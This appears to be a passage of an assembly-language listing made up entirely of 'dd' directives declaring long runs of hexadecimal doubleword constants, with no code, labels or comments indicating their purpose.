		dd 1B870036h, 0AEB12BA1h, 74036AD4h, 54047E41h,	86EC8053h
		dd 6595004Bh, 9D1D6087h, 50698EDDh, 0A79380D9h,	2E3EC7Eh
		dd 0AF241BA8h, 3C614841h, 706370F3h, 7E217500h,	80C5A46Ah
		dd 48D04D89h, 0D8013F00h, 71A8658Eh, 8088093Dh,	394E7EA0h
		dd 50BD44h, 1CA16253h, 0DD9825B9h, 0B94A454h, 80CCF648h
		dd 3F316269h, 0EB76046Ah, 0C0DC0193h, 0F670BD2Eh, 0DE286FE4h
		dd 87EC1C8Ch, 0AF01447Ah, 2F997F90h, 0B9927083h, 9B90200Ch
		dd 3D005733h, 0DE32E359h, 0A801CB23h, 92C187A4h, 7C9E064h
		dd 0C1F5DA9h, 0A194C0BDh, 0A390D0A6h, 3118F633h, 0EBF8F007h
		dd 55B0715h, 0E1CB7763h, 0C565764Eh, 0E841F1DDh, 0D354A88Ch
		dd 6702428Ch, 1B0F51DFh, 0F444CAh, 0C7E2FCCFh, 0DEAC7372h
		dd 9859D300h, 7ECE935Bh, 0D8823068h, 0B434FA41h, 0CBE6F900h
		dd 0BE1D9ADBh, 1A9101BDh, 2DFB7D40h, 6288500Dh,	0FA09643Dh
		dd 8277C8BBh, 43672660h, 73C1C129h, 0B60B9040h,	36753B4Fh
		dd 0B0807863h, 0E4987FE2h, 0B77C8AFEh, 3BB42400h, 6F6AA0Eh
		dd 78900015h, 67C78869h, 87016F1Dh, 2FF44E99h, 6B718CB9h
		dd 1104418Fh, 9900D015h, 0FDF2EB21h, 0CC007EA1h, 0E0976D91h
		dd 4287AA0h, 7D4D1834h,	6E2AC068h, 400674Ah, 6D63DBBCh
		dd 7C7811B1h, 752101FBh, 0D51B9C9Fh, 82A05113h,	0F37180DAh
		dd 0B0FD9232h, 127518h,	0E7536D42h, 0C39D2EFFh,	8C915F0Bh
		dd 929C10A0h, 0C68603C5h, 26D31B09h, 99B85150h,	0A711CE00h
		dd 0CF8A6029h, 4ADE07AAh, 0BB0E519h, 902F0180h,	9F0A6202h
		dd 0BC432AFCh, 8C01AB93h, 6A9635E2h, 227ACD8h, 84B96C8Ch
		dd 304BC382h, 43EEDCC8h, 57377400h, 0A46D5DD7h,	0B5500585h
		dd 927BCD9h, 1880EEE8h,	0AC94A010h, 2AE31800h, 6F0460A7h
		dd 89E7184Bh, 0B86B51C4h, 5D9C8D00h, 7311F28h, 1EA4F470h
		dd 4326EB13h, 7A5B5780h, 0A90024BBh, 0F2E075B2h, 1BD1848h
		dd 3E177D04h, 2A7F0399h, 57B03A0h, 0F5E873FEh, 0DB8C402Dh
		dd 225A961Bh, 3F89C1Fh,	4A7EEE80h, 102C27h, 3706F199h
		dd 0CEF369DFh, 3CA56307h, 18E02521h, 7DA440h, 8F96B35Dh
		dd 0C9ADE619h, 0B01227Fh, 81F0C21h, 2982FC17h, 0E04C1409h
		dd 7028D981h, 0E542FCAAh, 41CEC100h, 61501C95h,	8918034Bh
		dd 5B938A4Dh, 1893858h,	3B73D9BAh, 0DE309D1h, 0D246AF51h
		dd 8504E020h, 0D2436FCh, 9D13D662h, 5E539400h, 0B11827h
		dd 7DA98A63h, 9B5526Ch,	8E30D878h, 23E2614Fh, 0A189086Eh
		dd 6B9FB93Bh, 6F374BC0h, 18BC858Eh, 18AFCF19h, 0BF50CE7Ch
		dd 7560F8A3h, 0B661EC58h, 221308FBh, 57408F89h,	7D19FBAh
		dd 7C97DB63h, 0C6C26084h, 1F611050h, 5A267169h,	0E0933180h
		dd 75A70B27h, 29E28F01h, 88351F2Dh, 5D394880h, 78CD9225h
		dd 3498ED14h, 0DE3FDCh,	3B94C397h, 526E0D13h, 21E9C26h
		dd 4A9C370h, 8DD0FDFAh,	0B105F01Ch, 131063DCh, 77BAA440h
		dd 3D4641BEh, 389E6C95h, 2A8047CCh, 68DAE014h, 9F00CB27h
		dd 114DD746h, 94CF9Dh, 0B595C185h, 42DB3726h, 3C8F84A0h
		dd 0E1D9A660h, 0E3320818h, 73A60h, 0B593F6FCh, 2A409AA6h
		dd 0DB690E06h, 3E31B73Bh, 1FF22E14h, 19761E93h,	704C19A1h
		dd 0E5F8B6A1h, 5B5DC00h, 2D16FEB8h, 0D1452430h,	911D8300h
		dd 6FD879F8h, 0CC00805Fh, 7636D9A3h, 1979519h, 0B50ED0E6h
		dd 401B23D1h, 9D64CE7Ch, 0CC1D9E28h, 0C66C1E00h, 0C3EE37F8h
		dd 50560CFFh, 1089180Eh, 0A0391960h, 425B96h, 13BF6FFBh
		dd 33997620h, 6A2427F8h, 930060C8h, 0D49D698h, 0EF4C00C1h
		dd 7748C5C9h, 50024F24h, 261BC4EEh, 8DD4A825h, 0F4019020h
		dd 9FCDD794h, 62F4F850h, 86B2443Ch, 2F2A0700h, 5EA5640Eh
		dd 0F62B1D1Ch, 50544087h, 47576669h, 0F4889B54h, 15E03500h
		dd 0A45D8668h, 362D09C9h, 380E0D6Ch, 0F11E1F31h, 6A0FAC00h
		dd 581A01h, 948E6768h, 0EEAA38E1h, 8F112300h, 1913787Eh
		dd 7CAC0CB1h, 0E0415D47h, 9961D700h, 0B9F054D8h, 22193817h
		dd 6DF94080h, 7B245AE2h, 66771302h, 9047AFB3h, 7E9A9BD8h
		dd 9FF301A5h, 0BCCB8BCh, 2AD26043h, 19506414h, 0ADE08EBCh
		dd 0C3E071A5h, 557C0A92h, 40CC883Ch, 7D225FFh, 0D6995600h
		dd 115F73A2h, 0B7A0064h, 0F568AEDAh, 0AF0FFA24h, 3D1A0DE1h
		dd 0EFB56C01h, 0F8223CE0h, 589B9C00h, 0EE129182h, 0F323D400h
		dd 36C4B5A8h, 0BAE8CDh,	0FFF04C55h, 891FBEAEh, 99428E30h
		dd 1F5A2295h, 0C4C694h,	9FC371A9h, 0E06F409h, 88465036h
		dd 38D700C1h, 0F7D9D8BCh, 7F01E243h, 0BE51A7FDh, 52D42F4Bh
		dd 67B70490h, 970B37D1h, 10903938h, 54001CDAh, 80EF31BFh
		dd 0DAB73h, 58C0C38Dh
		dd 5DE18213h, 46E2DE0Ch, 2430719Ch, 0E4ECB2h, 6CF3F029h
		dd 0AE269841h, 531A77C6h, 0CCC1859h, 31EE0087h,	1524C62Ah
		dd 6E0158FFh, 29CF2139h, 29809046h, 7B2B3878h, 0A3006157h
		dd 653E349Ch, 6303ACC6h, 559AB906h, 46C58E8h, 34AAAF04h
		dd 6888525Fh, 17BF0298h, 781049D4h, 426F4080h, 541FF895h
		dd 0DE80ED90h, 0E99E6B08h, 4446FED7h, 127CFF8Fh, 5A5F1B00h
		dd 0DE3F8B1Eh, 235700AAh, 0FAE7CC92h, 4730895Eh, 21C33197h
		dd 30070594h, 0C2668E92h, 84057D7h, 18002A49h, 0F7B47F23h
		dd 0C60E2ED1h, 109386C1h, 19E544h, 1D984589h, 0AEDCF512h
		dd 0A145E498h, 298015D5h, 830AA856h, 213C47F5h,	96861ECDh
		dd 6CCF309Eh, 6779C032h, 7F8EFCh, 0E6E4807Bh, 0F7A9ADA0h
		dd 8B612301h, 47FBE2F1h, 0F0FC48h, 3F276E20h, 0AB98E71Fh
		dd 6795C004h, 908213EFh, 60E719C1h, 0AD18AC78h,	59195C92h
		dd 0A98B600Eh, 2E8F8E97h, 50470B18h, 0D2C421h, 17832B60h
		dd 8953DBE2h, 0E016DA00h, 0D047FDA3h, 0DE07B8D1h, 471C24E1h
		dd 0B0B78764h, 854D82F3h, 80001B72h, 0B6FCF86Dh, 0FFA42A96h
		dd 9F2830h, 13F35CF5h, 0C192F189h, 51201730h, 0B48224Ch
		dd 15E72C9Eh, 47B59800h, 0DC16B63Ch, 0D430895Ch, 97A4BCFh
		dd 15A37364h, 0BFE0C890h, 0B76B021Dh, 0E4AE2A41h, 0B4306841h
		dd 0AD3B30BEh, 65F627F9h, 932C6100h, 83A8EB64h,	0AE793DE1h
		dd 0F9F10500h, 0C2C4497Ch, 538AE400h, 0C3B52D8Ch, 87021D98h
		dd 45E1D6BAh, 0D0242CE8h, 790D8F28h, 6A9E7C02h,	205B46EDh
		dd 0DF249197h, 0D4094276h, 6406999h, 2152CBh, 6BCDD036h
		dd 0C21DAC74h, 7930F609h, 44778247h, 0BA49E0BDh, 0AC140164h
		dd 23EFAF53h, 9192F072h, 708EF303h, 0E23ED53Fh,	208062C3h
		dd 18BFF284h, 0ADB100D1h, 0BD5D38CEh, 4200E071h, 37013192h
		dd 3189C36Ch, 0A5894D7Ch, 98082041h, 30F9D5FEh,	0E444FD3Ch
		dd 30796268h, 0C0204465h, 5AF0247h, 0CED8F996h,	35880FC9h
		dd 0C0FF05C5h, 4E74ADE4h, 4C72CF58h, 71450084h,	0CA902BA8h
		dd 62E20014h, 0D10880C7h, 69C6FD32h, 617847h, 4B81C48Ah
		dd 185E4214h, 6C96DA24h, 0C1750E81h, 0E020A6DCh, 23C50C7Fh
		dd 0F0395947h, 9400A977h, 0FA679981h, 0D818ECA8h, 7BD7A0D8h
		dd 3CBE48h, 0CC3E6AEAh,	428FFAh, 0F8141F15h, 17C2E0AEh
		dd 0E900E091h, 0CBDC69D8h, 0F78C0074h, 0F5908408h, 6B017BBDh
		dd 14098794h, 0A44C9989h, 465D24A2h, 0E2CE408Ch, 8C0097F1h
		dd 0EFBACBAEh, 15C5EC8h, 779334C3h, 60D42486h, 0D15C6C48h
		dd 852264h, 157FD039h, 2B18E2F0h, 0DBBC5516h, 0B3419500h
		dd 5CFFDAC6h, 0D06B209Bh, 0D3C06200h, 0C774C3FCh, 5BDF102Ch
		dd 29BD5A00h, 0C18D4706h, 994BF459h, 42DC4089h,	6900109Ah
		dd 7723E195h, 2ED1C1C9h, 16240CDAh, 86580872h, 60D26D8Eh
		dd 0CCF941E6h, 88360111h, 0B007088Eh, 0FAB8C54Eh, 7C4FA468h
		dd 2FB89050h, 0C5589603h, 39A474Ah, 0AA8A0D49h,	0D8290BFCh
		dd 1405ECCDh, 5CCC56E7h, 84A7005Eh, 1B508679h, 8979CD6Ch
		dd 76180099h, 14DCE0A8h, 0B8260493h, 0E0D6B80h,	0F800B7DEh
		dd 8E071FA5h, 13F2837h,	0CDE94EC8h, 0F41E9212h,	7D3489CBh
		dd 9030395Fh, 1F783AECh, 258BDF6h, 0ACA0E50Fh, 0C16D8880h
		dd 62147197h, 68C218h, 0AAE0D23h, 0B9474E45h, 42BE00A8h
		dd 0F1B7FB6Fh, 0CD417000h, 0DCAA9371h, 8F530B8Ch, 6081BB74h
		dd 30670D57h, 2E005CD4h, 0DA8BBF1Dh, 5105DD04h,	518083ACh
		dd 5F60D670h, 371DE508h, 27406B49h, 0ACDBDE66h,	4440B0EAh
		dd 1C01FDB5h, 7D7CCB62h, 89D11392h, 0C10DC080h,	1853CD80h
		dd 3A3D822h, 9F7CC0A7h,	0CEE299F1h, 3888922Fh, 2FF076Fh
		dd 0AEEB419h, 581F04ECh, 417482B0h, 299EB20h, 0CCB350A5h
		dd 4CDB262Dh, 0AAF60428h, 0C25CC458h, 0BA20E8A0h, 7C4F55CEh
		dd 0C571C2h, 2DC377CDh,	0B41C50D2h, 0F69729C0h,	26FD814Eh
		dd 11482234h, 0A558001Bh, 96C1E042h, 189F17E5h,	0C60820DCh
		dd 29C01A10h, 0F6CEF3BDh, 0C2690BCCh, 0A4116889h, 38C7247h
		dd 0EA0B832Ch, 0B5CEE84Ch, 0A47E580Dh, 0D1148D22h, 805C1B34h
		dd 0E696F647h, 44C303CBh, 9E634F23h, 4C68BCEAh,	4E60A7ADh
		dd 76247369h, 62E102B3h, 49DCB2D7h, 0A600B859h,	94275221h
		dd 5C060085h, 1B6C6E96h, 8963D918h, 0A4BB3B81h,	69E0EB0Eh
		dd 0DC7A7325h, 41C98600h, 0D11FB999h, 13E77477h, 9716508Ch
		dd 7F7C0128h, 7BE4483Bh, 93C1C00h, 238DA5C3h, 6BE1096Fh
		dd 4000599Ah, 0CF61D9A9h, 8C9B732Eh, 93E83800h,	62052478h
		dd 7434C052h, 0C7000866h, 1C275CAAh, 29B7EAh, 654EF05Fh
		dd 45ACDDBDh, 848E432Ch, 567F0260h, 0E9871DA5h,	0FBC30052h
		dd 0D84DED1h, 6AA87A03h, 225C14BBh, 0D900B6C0h,	3EBA4CC3h
		dd 603C2E8Ch, 0A134198Ah, 3200F8EAh, 0FD855C6h,	244DFD9h
		dd 0E220825h, 7841AD01h, 9574207Fh, 162488h, 610D1E38h
		dd 7158CFADh, 0B0864C90h, 0C55B1700h, 7BF71B77h, 9BEA0097h
		dd 0A2D3DB43h, 0F316723Ah, 8401EEF8h, 0C7A08DF1h, 18A6CFD0h
		dd 84CAE09Dh, 0B45C55A2h, 782200h, 2F7CB8D5h, 0A089F81Fh
		dd 12194360h, 4857FAC5h, 4A835C47h, 0CCC0EA8Dh,	1C017CBCh
		dd 30852B04h, 2D10D6h, 36D3FF00h, 239BA1CFh, 9294A01Ch
		dd 52288881h, 0E7C0CC5Eh, 0AC0A124Dh, 0D9602346h, 0F04EA0C7h
		dd 0BF0A8509h, 90E95275h, 0D047D80Ah, 8BDA2340h, 94720F30h
		dd 632F2B57h, 0D1140257h, 0FC98E9C2h, 0F7005474h, 0A4A86A69h
		dd 672E7Fh, 8081A6A7h, 0CEA2CDD9h, 46092890h, 80F58E04h
		dd 0C4418ACAh, 39D5482Dh, 0EEC6FD00h, 5B2C7BAh,	3C40F09Ch
		dd 0DDE187h, 0AA95AB7Eh, 0D889738Fh, 2440104Bh,	9BF3B7D4h
		dd 0A0330051h, 4A979113h, 20092DFAh, 4C9DE23h, 0CC0EE15h
		dd 554007h, 56C83ECFh, 11703BCEh, 1090680Ch, 70951FEh
		dd 99D645C6h, 0FDCDA0BBh, 0EB00A121h, 0E97BBE0Bh, 13E7960Ch
		dd 88ACCF19h, 8B00CE34h, 0FBF18E69h, 126ED81h, 8595A063h
		dd 0E6353982h, 108864C1h, 14C854h, 13B8174Bh, 0B6756C21h
		dd 1101FB77h, 0DC4861E5h, 0B4404D44h, 3AC4E0D8h, 8500CC92h
		dd 78861C98h, 0EE193D5Fh, 781B03Bh, 0B858C0h, 9B5BB6D5h
		dd 1BE98EE0h, 22637C13h, 7740D001h, 0C4405D60h,	0B0AE73A1h
		dd 0F0651BCCh, 88B068D5h, 0BC941072h, 0EF361A81h, 66D02864h
		dd 0A35839DFh, 0CEAD027Dh, 68F14F3Eh, 80CFE087h, 2204C835h
		dd 46F8CB16h, 94C2A020h, 0F0A60345h, 0C66B172Ch, 0ACF34BC8h
		dd 0D066902Ch, 98CC0167h, 79CC1F9Fh, 0A7B3003Bh, 0F9E96F2Fh
		dd 0EC689426h, 0D1EEDD01h, 0A1850F0Bh, 8145DB2Bh, 70FA6108h
		dd 0A8026EFCh, 0A68918EAh, 0F0E89003h, 0A9604E1h, 0C0A0DCD8h
		dd 0ABC91DB7h, 258F4204h, 7C08B02h, 0A00BA4AEh,	587E7CB4h
		dd 740FF723h, 11A14E53h, 70B6DE0Dh, 4F7B7688h, 0A69CBB8h
		dd 0ACC89861h, 4C5F00FCh, 8D73DCABh, 0F6901622h, 2436BD05h
		dd 20B276AAh, 1371C007h, 9D5DE064h, 183A3075h, 84CD02C5h
		dd 55C1B80Bh, 60E2B541h, 71000298h, 98CC43BFh, 4ED1B2E1h
		dd 683C4223h, 26E36DECh, 8A02A03Eh, 940FD1FEh, 17650860h
		dd 5957EACh, 0D13BBA99h, 2201E21h, 0A18A41DCh, 6F8778D9h
		dd 77417C09h, 0E7DD3D58h, 0F7D14C70h, 1F718039h, 0A8365B8h
		dd 3AC0C994h, 8896F300h
		dd 989E7397h, 66307869h, 104B1890h, 48F41114h, 0D339C100h
		dd 2BDABF67h, 62090090h, 9332D2AAh, 0CF052FE1h,	3B575AC4h
		dd 174400C8h, 0FA7351h,	974DB1B8h, 3C5C747Ch, 0C82E8174h
		dd 64CC8E63h, 0ADA00A4Ch, 806C427Ch, 0C150F761h, 9E5CA989h
		dd 0B30A7E4Ch, 80938A40h, 6F6B1E40h, 80901274h,	79CCC8E5h
		dd 0B5C0107h, 0C560DA99h, 6E4570h, 470D15D6h, 12FB6266h
		dd 0B021974Fh, 6AF450B2h, 0E0075851h, 3DD4B450h, 414234Bh
		dd 0AF0183EAh, 0DC223E89h, 1E0EF014h, 45C73C09h, 7C44AEh
		dd 74A1C9C6h, 2C735F66h, 2783A64Ch, 9E601108h, 3DFD7CACh
		dd 577EA081h, 0C86DD0A9h, 87039A63h, 51458FE5h,	4CB4A489h
		dd 198F2A6h, 56287535h,	625250AEh, 0D2E09B4h, 12BCE846h
		dd 0B16D00CAh, 0F589941Ah, 0DD037770h, 0BA5CEB28h, 9D800EFh
		dd 7DFF55DBh, 20FD3492h, 0C90ACC4h, 77A47107h, 6FD1CEAFh
		dd 0ABE11D9h, 2675880Ch, 68756978h, 0E7801C94h,	0B7E3ACAFh
		dd 0F4154C84h, 0CB68181h, 3270C02Ah, 896C0A00h,	0EEDEA7BAh
		dd 543E1FBDh, 7DB500A2h, 0E34D347Eh, 9C504758h,	1F2BAB00h
		dd 1C8856BCh, 0C32E815Ch, 4A74FF11h, 513D8B80h,	5DCC4B00h
		dd 2AAACEC1h, 80C4B144h, 0EF866692h, 7B007FDCh,	9A977E69h
		dd 90FA99ACh, 3AECA680h, 178490D4h, 8319E226h, 9D00ED4h
		dd 8E0071ECh, 3C77A3CEh, 0E8F6DAFFh, 308D487Fh,	9D7828C0h
		dd 7100489Ah, 0A016BB45h, 5DE4Ch, 694A53FBh, 0EF25350Bh
		dd 0E0060D26h, 0E7482300h, 0DABA41h, 6224E46Fh,	0FD3EDC83h
		dd 54613B26h, 1258C43Dh, 88FF59B2h, 0AA095CD0h,	84A806FDh
		dd 47491418h, 1F54E090h, 0CD073A01h, 3FABE064h,	3D502270h
		dd 0C10B66C2h, 9880EE80h, 9C354ECEh, 84B06390h,	0C409905Bh
		dd 0F224809Fh, 2CA0800Fh, 4448D7Dh, 80EBCCD0h, 0DC2456DCh
		dd 1C59C516h, 0BCFDE8D0h, 80349B75h, 96122349h,	1814D2D9h
		dd 24AC89EBh, 4097D87Ah, 17989490h, 72D602A3h, 0A5DE306h
		dd 0B101E4E6h, 8CFFE09h, 0F3D02849h, 0F98E1382h, 5C04EF43h
		dd 0D0C2133Dh, 82C620A6h, 261D0298h, 72C05287h,	18BA70AFh
		dd 0CE0539C0h, 1D2E0A92h, 509CA47Ch, 2D18BA68h,	0D1F0E037h
		dd 760F7477h, 7FA800E1h, 7561505Fh, 0D1F1837h, 177A166Fh
		dd 0D030AF6Dh, 9019DA09h, 8262004Ah, 0C4A29E7Bh, 0F816C373h
		dd 5CD0A518h, 49916Bh, 0A98A8E1Fh, 389FC357h, 5912630Bh
		dd 0D7748083h, 294DDCC1h, 3FFC8E8Ah, 20B85229h,	3BE918C4h
		dd 54C118Fh, 8B1F69FAh,	0EC80D5A9h, 9409AB77h, 0F502696h
		dd 0AF5D40C4h, 2E09C3EEh, 7B9A8D4h, 3BE48DE8h, 7ABCCC1h
		dd 5D5A0884h, 0EC80E546h, 0A0ED322h, 0D3747B33h, 7F3100C8h
		dd 0CF6E0B25h, 3C684681h, 8D006904h, 84C04033h,	2CD7704Ah
		dd 1B3BD68h, 0C456AEFFh, 74E08CF8h, 0F14C08EBh,	881407Ch
		dd 0C0D96197h, 12001B8Ch, 31EE14FFh, 0E6EFC5A9h, 80A099AFh
		dd 46E633F3h, 0BA00093Dh, 8D93BB8Eh, 1A9847B6h,	605E90B4h
		dd 8400EC78h, 899B9C5Dh, 402015E3h, 0DE017140h,	0CDC2C911h
		dd 0E0FE0479h, 2849A18Ch, 48B4B630h, 0CFC04890h, 3996A618h
		dd 0EA001BF6h, 0EB5A3DD8h, 7C01C24Eh, 45361580h, 0F10090D3h
		dd 0D4D9686Bh, 0D67D8DD7h, 1071AB07h, 7350FC7Eh, 0B49A8920h
		dd 1DE09778h, 8F002294h, 0CCF527E9h, 98E6C35Fh,	0FAA129CCh
		dd 0E380BCB4h, 1CD2075Eh, 4C0F36DCh, 7C3351F3h,	7C349F07h
		dd 4128F182h, 9E607B5Ch, 88955026h, 863E2C9Dh, 188D040Ah
		dd 0D150E4C4h, 3C562C5Bh, 2E54C8h, 0F08AB196h, 833F3448h
		dd 0BB89B00h, 0D4F75ACFh, 887D4BF1h, 9400F41Ch,	0D3750A91h
		dd 2C48619h, 0EB8805A9h, 5CC1E7A7h, 0AD6DC482h,	68185024h
		dd 44A7F660h, 680F4C0h,	8E7DAE3Ch, 4D13C8BAh, 4D017CBh
		dd 0EEE690C8h, 1A49825h, 0BA839B7Ah, 706718D9h,	1D5CE70Ch
		dd 2CD0C03Ch, 1307E92Dh, 0C8245088h, 3850CC48h,	2752938Ah
		dd 0BD6C0FC0h, 71D2A0D6h, 603CEFAEh, 625231ACh,	0BE009180h
		dd 479F4495h, 2F06D30Eh, 0C8204643h, 3A7483F7h,	0C000A978h
		dd 0E7F9167Eh, 613BED2Ah, 0E69549A3h, 3504F848h, 3D61470Bh
		dd 1A40EDAh, 3C6A557Ch,	0F19C032Eh, 40CACF88h, 720188D9h
		dd 0EC25C3B5h, 18722E0h, 0E4F4B3EFh, 40AE3B2Ah,	0EC9DBE78h
		dd 3CA01E01h, 0ABA37346h, 0FC107E8h, 7DFD3A95h,	0F17C3056h
		dd 722D2EECh, 87D0D8h, 0DDA77D21h, 0F4894EC4h, 5A038303h
		dd 0E8F79776h, 988CC690h, 1848087Ch, 0BCA095C2h, 0CB1DD703h
		dd 90EDF692h, 227AAC7h,	0CCDF11D4h, 24C0DC0Eh, 0AF48FF67h
		dd 0E8063048h, 3852204Dh, 2F80EEEh, 0DF9B1097h,	9471133Bh
		dd 0AAA68F03h, 0DC8BF066h, 0BAE40024h, 33EBF44Ch, 0D400B6CEh
		dd 8E9341D9h, 50FA4A79h, 0C075A856h, 0BA88A950h, 914A58Ch
		dd 8458A619h, 0D48946CEh, 0B903F4h, 8E7A3DD0h, 0DD587B06h
		dd 3FF18702h, 0C12447D2h, 48208090h, 6EFD00BFh,	9C9E8E97h
		dd 1C4BF41Eh, 427888h, 2D46321h, 8762E14Ah, 64CFF204h
		dd 14884741h, 26E30090h, 0F1786355h, 0B51FC2A9h, 40ECF553h
		dd 2350D504h, 0AF7548Ch, 38C59D0Eh, 0A0830298h,	10F9778Eh
		dd 0E5546200h, 1FF8136Bh, 0C1C2D32Ah, 0C5D930F1h, 0D859CE02h
		dd 0DC8E440Eh, 0B182980h, 765C88Fh, 984574B9h, 590A5092h
		dd 0D0A13843h, 80E07876h, 0E0841A02h, 2D260ACCh, 58469D8h
		dd 0BFC5CD4h, 64055DF8h, 1F88C886h, 0F7809C91h,	0FA790558h
		dd 1ED6A078h, 0D3840248h, 3CE0ADC8h, 3900187Ah,	1A20631Dh
		dd 15E5CE3h, 5A1525F6h,	0E04A4DC0h, 0CE7D889Ah,	70DA551Ch
		dd 0A41FFD8Fh, 54B236D1h, 8A3DB101h, 78C48EF1h,	3D180FCh
		dd 1F5107h, 5A6CC39h, 0ED85AAD2h, 0EA894401h, 32D18CE1h
		dd 0D43C502Ah, 0B61C3CC0h, 602AFF6h, 0F286625Fh, 8C66FFh
		dd 0E785BCDAh, 797ED736h, 0C10B9FE4h, 901950A0h, 140C232Ch
		dd 0C4743477h, 0ACDD01DFh, 0F17391C8h, 8AD9D066h, 143C1300h
		dd 4A2CBF19h, 4149448h,	0F0B48B62h, 8902F424h, 0C35E2EFDh
		dd 0ED947217h, 3354E4h,	66B5512Ch, 6E656BD3h, 5F2AB600h
		dd 0CB141F37h, 23A5063Eh, 58AF420Fh, 1BA9480Fh,	5A9486BAh
		dd 0D184450h, 377FC271h, 0DD51CD2Eh, 0C95DFE01h, 828B1186h
		dd 0A08581F1h, 24A2A4h,	7BDBEFE0h, 71428A5h, 12AB196Bh
		dd 0B38039F6h, 7CF7B6BDh, 0F9A79C05h, 8420DC18h, 165F3EBEh
		dd 8C9265Bh, 0A8A98D44h, 0A1496880h, 14DB107Ch,	0F8FDD172h
		dd 61658680h, 6713F60Ah, 1CB3E6D8h, 0E2E9A100h,	6C4ED192h
		dd 1F88A3Bh, 740B7668h,	4047C318h, 5F36FA51h, 0CFC90428h
		dd 6F3E6057h, 44C0B8B8h, 3B22E048h, 17E7AACh, 6F595E0Dh
		dd 0E487D8ADh, 4D586DD7h, 0EBA204B0h, 30ACEE2Ah, 0CB0F5061h
		dd 7CE4DAE0h, 0A5F8F974h, 0FCD4022Ch, 50C9C21Fh, 8EE85916h
		dd 472451F6h, 853F405Bh, 3C4361h, 1B71384Ah, 86A97E19h
		dd 20F28E00h, 0E8DABA6Ah, 0E6D090BDh, 0F070F798h, 2B2F0D64h
		dd 0FC9021F4h, 34A41050h, 6581791Dh, 0F31CF500h, 0C45DACh
		dd 6620319Fh, 678C5EEAh, 1D3E2E0Bh, 4E5884C3h, 70E4C41h
		dd 0A06247h, 26623CF6h,	7761EB6h, 0E0A8B155h, 0DA131057h
		dd 3A7B7EDDh, 683E1FF0h, 0BA561680h, 0D166F802h, 0C1C5934h
		dd 0ECB8138Eh, 88FDC100h, 385D2380h, 682424AAh,	0E86B01D9h
		dd 50994531h, 30C590E4h
		dd 88DBF900h, 750D1FA9h, 6C9097ADh, 0F83EA571h,	0BBD40048h
		dd 0CFEAE3D3h, 8B34B8D2h, 0B814A384h, 7BACD9FBh, 0E2020089h
		dd 0B62FC965h, 64F8CC76h, 0E5196005h, 3C004654h, 28BD0436h
		dd 5BBF00CBh, 796424E0h, 60911C50h, 5A9A8A09h, 0DE212B4h
		dd 4E94A3DFh, 1058EC82h, 0DC043773h, 7C70BEECh,	95DB01BFh
		dd 0DCCBF0FCh, 0C14739Dh, 2D84A98Ah, 80048FDEh,	455B0960h
		dd 0ED5D04F1h, 0C01DA241h, 1BFB0E18h, 0FDD88095h, 3B6994CAh
		dd 0DCC83690h, 41B78B80h, 8CF88D2Dh, 6B3E1B00h,	38C60832h
		dd 98D89DC5h, 3843264Ah, 0A8A3695Ah, 7D26746h, 0F536510Eh
		dd 4E38D29Fh, 88004071h, 77482EF7h, 7E090118h, 25CF3A28h
		dd 40FF31C8h, 1D59437Ch, 0F8A7750Bh, 7BC44846h,	0FB493F3Ah
		dd 0F82E2412h, 3BA0013Eh, 4F6AF634h, 0F728612Ah, 18F8D823h
		dd 0FD4AB10Eh, 69427ED0h, 0C0DE1E47h, 2BAF5F5h,	0DE0C1C7h
		dd 34802606h, 0D91DE955h, 7211DD09h, 24BA806Ch,	138E497h
		dd 65F259A2h, 2B463E63h, 1611E040h, 0F6C283BFh,	0EFFAD7h
		dd 0AD9B273h, 6F0D0552h, 697EF113h, 0F20094E2h,	0F3CA1B70h
		dd 0B71E0C57h, 0D640E3CBh, 73AADAFh, 0DBB42422h, 76D00BC8h
		dd 610008C4h, 9454DDC8h, 0CDE95DFh, 8BCF190Fh, 7C963C89h
		dd 0B1804E80h, 157D9DBh, 0E588B747h, 0CCA019E6h, 0D4981006h
		dd 58BD562Eh, 9C02D000h, 5C4EFB6h, 23EE88E1h, 34C5C04Fh
		dd 0B438AE41h, 95C10243h, 70509A83h, 782C0080h,	8C365DB1h
		dd 3A26F3C5h, 0A90900F4h, 0A5642265h, 6C4C2B9Bh, 0F8517913h
		dd 0F12590C8h, 7817E560h, 0BFB0004Ah, 20601272h, 3602DD89h
		dd 1ED347F8h, 405456EEh, 0E7CE7475h, 0B4CC498h,	0D7300348h
		dd 0E63FFC90h, 4FB6077Ah, 3157FFBEh, 6D658A5Dh,	3F970018h
		dd 0DE40B8Bh, 9A8F13DEh, 9D2800F5h, 96C16FC8h, 443AD624h
		dd 50D2DD8Ch, 0CB170BA3h, 5450E2E5h, 5447FA11h,	0F48A8B00h
		dd 30B1D085h, 0BBEC400h, 5B8867E9h, 0E7583B64h,	0F67C9781h
		dd 0F0349FCCh, 1626E30Ah, 8B1F7012h, 0C11BC200h, 9F3CF397h
		dd 0BDB31090h, 0C9A3BC00h, 8388E2F2h, 18894C51h, 0DC6059C9h
		dd 504B228Ch, 80F43421h, 1986ADCh, 9B94B87Ah, 62928AB1h
		dd 0A0204F54h, 0ECF750h, 4B22200Ch, 72D46FEFh, 0A3186100h
		dd 9F2F4025h, 63CE0FAFh, 0BB2F57B0h, 4D790400h,	0EF03125Ah
		dd 76D22D14h, 7738A1C9h, 27090C20h, 9CE4B5A3h, 0D582D91Ch
		dd 20C74E8Eh, 9EECFBDh,	0FB870525h, 0A20DDAD1h,	27DC00C8h
		dd 0F7BD1FC7h, 7EAA07C0h, 55283996h, 1A64A403h,	3B017A7Eh
		dd 0F84A4518h, 292A07D2h, 0DA2460A8h, 0BE3B8A44h, 0AA4587E8h
		dd 0B87E1038h, 0E6126875h, 5B008429h, 0C0DF4F8Eh, 0D17003F7h
		dd 6CE16066h, 999791B0h, 0F1C6E5FBh, 2F44632Ch,	33501088h
		dd 0EDFC5CACh, 52DE8B03h, 29002117h, 94F64F88h,	0F9C1690Dh
		dd 9245C2Dh, 0D1033C31h, 0ADD87A78h, 0BDA98EA8h, 0B90C2F01h
		dd 7DF9F062h, 0EAA6030h, 0C8DA360Bh, 0E0E15887h, 6950230Ch
		dd 677C1A03h, 0F9CB646Bh, 1470C6B8h, 5E7A6161h,	81D3FAAEh
		dd 0CF9F0A30h, 742D2364h, 0F50A5C1h, 10C9A5A7h,	41FCACh
		dd 56EE32D0h, 4CC463B0h, 802A223Ch, 0D97B49BCh,	2EFF9E2h
		dd 0B7D695E3h, 0E8A0E064h, 8A4749CEh, 0C4ED2E25h, 74BA01D0h
		dd 467A8D06h, 0CD8180D4h, 0FCD13048h, 554B00D8h, 925CA832h
